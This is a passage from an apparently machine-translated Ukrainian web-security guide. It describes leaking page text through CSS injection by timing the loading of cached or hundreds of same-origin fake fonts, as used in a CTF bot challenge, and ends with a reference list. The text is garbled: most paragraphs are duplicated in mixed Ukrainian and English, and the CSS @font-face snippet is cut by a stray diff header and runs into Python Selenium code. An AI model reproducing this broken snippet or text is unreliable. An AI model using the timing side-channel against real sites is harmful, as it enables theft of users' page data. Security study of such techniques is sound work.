Якщо відбудеться співпадіння, **шрифт буде завантажено з `/static/bootstrap.min.css?q=1`**. Хоча він не завантажиться успішно, **браузер має кешувати його**, і навіть якщо кешу немає, існує механізм **304 not modified**, тож **відповідь має бути швидшою**, ніж інші ресурси.
Однак, якщо різниця в часі між кешованою відповіддю та некешованою не є достатньо великою, це не буде корисно. Наприклад, автор зазначив: Однак, після тестування, я виявив, що перша проблема полягає в тому, що швидкість не дуже відрізняється, а друга проблема полягає в тому, що бот використовує прапорець `disk-cache-size=1`, що дійсно продумано.
Однак, якщо різниця в часі між кешованою відповіддю та не кешованою недостатньо велика, це не буде корисно. Наприклад, автор згадував: «Однак після тестування я виявив, що першою проблемою є те, що швидкість практично не відрізняється, а другою — що bot використовує прапор `disk-cache-size=1`, що справді продумано.»
### Exfiltration текстових вузлів (III): витік кодування символів шляхом завантаження сотень локальних "шрифтів" (не вимагаючи зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Посилання:** Це згадується як [невдале рішення в цьому звіті](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Посилання:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
У цьому випадку ви можете вказати **CSS для завантаження сотень фальшивих шрифтів** з того ж походження, коли відбувається збіг. Таким чином, ви можете **виміряти час**, який знадобиться, і дізнатися, чи з'являється символ чи ні, за допомогою чогось на кшталт:
У цьому випадку ви можете вказати **CSS to load hundreds of fake fonts** з того самого origin, коли відбувається співпадіння. Таким чином ви можете **виміряти час**, який це займає, і з’ясувати, чи з’являється char чи ні за допомогою чогось на кшталт:
```css
@font-face {
font-family: "A1";
@ -747,13 +783,19 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Отже, якщо шрифт не збігається, час відповіді при відвідуванні бота очікується приблизно 30 секунд. Однак, якщо є збіг шрифтів, буде надіслано кілька запитів для отримання шрифту, що призведе до постійної активності в мережі. Як наслідок, знадобиться більше часу для задоволення умови зупинки та отримання відповіді. Тому час відповіді можна використовувати як індикатор для визначення, чи є збіг шрифтів.
Отже, якщо шрифт не співпадає, час відгуку при зверненні до бота очікується приблизно 30 секунд. Однак якщо є співпадіння шрифту, буде відправлено кілька запитів для отримання шрифту, що спричинить постійну мережеву активність. Внаслідок цього знадобиться більше часу, щоб виконати умову зупинки і отримати відповідь. Таким чином, час відгуку можна використовувати як індикатор для визначення співпадіння шрифту.
## References
## Джерела
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}